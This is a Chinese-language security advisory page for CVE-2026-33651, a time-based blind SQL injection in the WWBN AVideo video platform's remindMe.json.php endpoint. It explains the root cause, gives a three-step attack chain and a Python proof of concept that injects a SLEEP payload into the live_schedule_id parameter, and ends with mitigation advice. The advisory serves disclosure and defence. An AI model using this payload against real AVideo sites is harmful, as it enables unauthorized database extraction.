CVE-2026-33651 CVSS 8.1 高危

CVE-2026-33651 AVideo SQL注入漏洞

披露日期: 2026-03-23

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33651

漏洞类型

SQL注入

CVSS评分

8.1 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WWBN AVideo

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及以下版本中，`remindMe.json.php`端点存在SQL注入漏洞。由于系统未能正确过滤`live_schedule_id`参数，攻击者可利用此漏洞进行基于时间的盲注攻击，窃取数据库信息。目前官方已发布修复补丁。

技术细节

该漏洞源于WWBN AVideo在处理用户输入时的逻辑缺陷。攻击向量位于`remindMe.json.php`端点，该接口接收的`live_schedule_id`参数在传递链中未经过有效的全局清理。虽然中间函数`new Live_schedule()`和`getUsers_idOrCompany()`调用了`intval()`，但该操作仅限于`ObjectYPT::getFromDb()`方法内部的局部变量，并未修改原始的请求数据。当该受污染的数据最终到达`Scheduler_commands::getAllActiveOrToRepeat()`函数时，被直接拼接到SQL `LIKE`子句中。这允许任何已认证用户利用基于时间的盲注技术，构造特定Payload导致数据库执行延迟查询，进而逐位提取敏感数据。

攻击链分析

STEP 1

1. 获取认证权限

攻击者注册或获取一个有效的低权限用户账号，获取有效的Session Cookie。

STEP 2

2. 发送恶意请求

攻击者向`remindMe.json.php`端点发送请求，并在`live_schedule_id`参数中注入SQL Payload（如基于时间的盲注语句）。

STEP 3

3. 执行盲注攻击

由于参数被直接拼接到SQL语句中，数据库执行Payload。攻击者根据响应时间的差异判断SQL语句的真假，逐位提取数据库数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import time

def check_sqli(url, cookies):
    # The vulnerable parameter is live_schedule_id
    # Payload for time-based blind SQL injection
    payload = {
        'live_schedule_id': "1' AND IF(1=1, SLEEP(5), 0)-- -"
    }
    target_url = f"{url}/remindMe.json.php"
    
    try:
        start_time = time.time()
        response = requests.get(target_url, params=payload, cookies=cookies, timeout=10)
        end_time = time.time()
        
        # Check if the response time indicates the sleep was executed
        if end_time - start_time >= 5:
            print("[+] Vulnerable to SQL Injection!")
        else:
            print("[-] Not vulnerable or payload failed.")
    except Exception as e:
        print(f"Error: {e}")

# Usage example
# url = "http://target-site"
# cookies = {'PHPSESSID': 'authenticated_session_id'}
# check_sqli(url, cookies)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施

在应用官方补丁前，建议限制对`remindMe.json.php`端点的访问权限，或在Web应用防火墙（WAF）中部署规则，拦截针对`live_schedule_id`参数的SQL注入攻击特征。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表